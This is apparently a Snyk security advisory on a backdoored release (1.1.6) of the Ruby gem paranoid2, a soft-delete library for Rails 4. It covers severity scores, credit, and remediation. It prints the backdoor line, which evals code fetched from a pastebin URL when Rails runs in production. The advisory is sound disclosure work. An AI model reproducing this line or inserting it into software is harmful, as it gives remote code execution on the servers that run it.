Malicious Package Affecting paranoid2 package, versions =1.1.6


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    1.82% (89th percentile)

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  • Snyk ID SNYK-RUBY-PARANOID2-451600
  • published 15 Jul 2019
  • disclosed 14 Jul 2019
  • credit Ruian Duan

How to fix?

Avoid using paranoid2 altogether. Furthermore, Downgrading to v1.1.5 will ensure no malicious code execution is possible.

Overview

paranoid2 is a paranoid models for rails 4

Affected versions of this package are a Malicious Package. paranoid2 1.1.6 for Ruby includes a code-execution backdoor inserted by a third party.

Backdoor Code

_!{Thread.new{loop{_!{sleep rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/X9S6XQFx')))}}}if Rails.env[0]=="p"}

References

CVSS Scores

version 3.1
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Snyk

Recommended
9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High